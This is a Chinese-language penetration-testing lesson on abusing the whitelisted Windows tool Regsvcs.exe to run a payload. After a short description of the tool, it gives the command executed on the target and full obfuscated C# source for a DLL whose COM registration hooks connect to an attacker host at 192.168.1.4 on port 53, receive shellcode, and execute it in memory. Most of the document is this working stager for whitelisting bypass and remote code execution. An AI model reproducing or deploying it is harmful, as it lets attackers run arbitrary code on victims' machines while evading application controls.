第七十四课:基于白名单Regsvcs.exe执行payload第四季

Regsvcs简介:

Regsvcs为.NET服务安装工具,主要提供三类服务:

  • 加载并注册程序集。

  • 生成、注册类型库并将其安装到指定的 COM+ 1.0 应用程序中。

  • 配置以编程方式添加到类的服务。

说明:Regsvcs.exe所在路径没有被系统添加PATH环境变量中,因此,Regsvcs命令无法识别。

具体参考微软官方文档: https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool

基于白名单Regsvcs.exe配置payload:

Windows 7 默认位置:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

攻击机:192.168.1.4 Debian 靶机:192.168.1.3 Windows 7

配置攻击机msf:

靶机执行:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Micropoor.dll

附录:Micropoor.cs

注:x86 payload

using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;
namespace phwUqeuTRSqn
{
public class mfBxqerbXgh : ServicedComponent {
public mfBxqerbXgh() { Console.WriteLine("Micropoor"); }
[ComRegisterFunction]
public static void RegisterClass ( string DssjWsFMnwwXL )
{
uXsiCEXRzLNkI.BBNSohgZXGCaD();
}
[ComUnregisterFunction]
public static void UnRegisterClass ( string DssjWsFMnwwXL )
{
uXsiCEXRzLNkI.BBNSohgZXGCaD();
}
}
public class uXsiCEXRzLNkI
{ [DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 pAyHWx, UInt32 KXNJUcPIUymFNbJ, UInt32 MotkftcMAIJRnW);
[DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 yjmmncJHBrUu, UInt32 MYjktCDxYrlTs, UInt32 zyBAwQVBQbi);
[DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 PorEiXBhZkA, byte[] UIkcqF, UInt32 wAXQEPCIVJQQb);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 WNvQyYv, UInt32 vePRog, UInt32 Bwxjth, IntPtr ExkSdsTdwD, UInt32 KfNaMFOJVTSxbrR, ref UInt32 QEuyYka);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pzymHg, UInt32 lReJrqjtOqvkXk);static byte[] SVMBrK(string MKwSjIxqTxxEO, int jVaXWRxcmw) {
IPEndPoint hqbNYMZQr = new IPEndPoint(IPAddress.Parse(MKwSjIxqTxxEO), jVaXWRxcmw);
Socket LbLgipot = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { LbLgipot.Connect(hqbNYMZQr); }
catch { return null;}
byte[] VKQsLPgLmVdp = new byte[4];
LbLgipot.Receive(VKQsLPgLmVdp, 4, 0);
int jbQtneZFbvzK = BitConverter.ToInt32(VKQsLPgLmVdp, 0);
byte[] cyDiPLJhiAQbw = new byte[jbQtneZFbvzK + 5];
int vyPloXEDJoylLbj = 0;
while (vyPloXEDJoylLbj < jbQtneZFbvzK)
{ vyPloXEDJoylLbj += LbLgipot.Receive(cyDiPLJhiAQbw, vyPloXEDJoylLbj + 5, (jbQtneZFbvzK ‐ vyPloXEDJoylLbj) < 4096 ? (jbQtneZFbvzK ‐ vyPloXEDJoylLbj) : 4096, 0);}
byte[] MkHUcy = BitConverter.GetBytes((int)LbLgipot.Handle);
Array.Copy(MkHUcy, 0, cyDiPLJhiAQbw, 1, 4); cyDiPLJhiAQbw[0] = 0xBF;
return cyDiPLJhiAQbw;}
static void ZFeAPdN(byte[] hjErkNfmkyBq) {
if (hjErkNfmkyBq != null) {
UInt32 xYfliOUgksPsv = HeapCreate(0x00040000, (UInt32)hjErkNfmkyBq.Length, 0);
UInt32 eSiulXLtqQO = HeapAlloc(xYfliOUgksPsv, 0x00000008, (UInt32)hjErkNfmkyBq.Length);
RtlMoveMemory(eSiulXLtqQO, hjErkNfmkyBq, (UInt32)hjErkNfmkyBq.Length);
UInt32 NByrFgKjVjB = 0;
IntPtr PsIqQCvc = CreateThread(0, 0, eSiulXLtqQO, IntPtr.Zero, 0, ref NByrFgKjVjB);
WaitForSingleObject(PsIqQCvc, 0xFFFFFFFF);}}
public static void BBNSohgZXGCaD() {
byte[] cyDiPLJhiAQbw = null; cyDiPLJhiAQbw = SVMBrK("192.168.1.4", 53);
ZFeAPdN(cyDiPLJhiAQbw);
} } }

Micropoor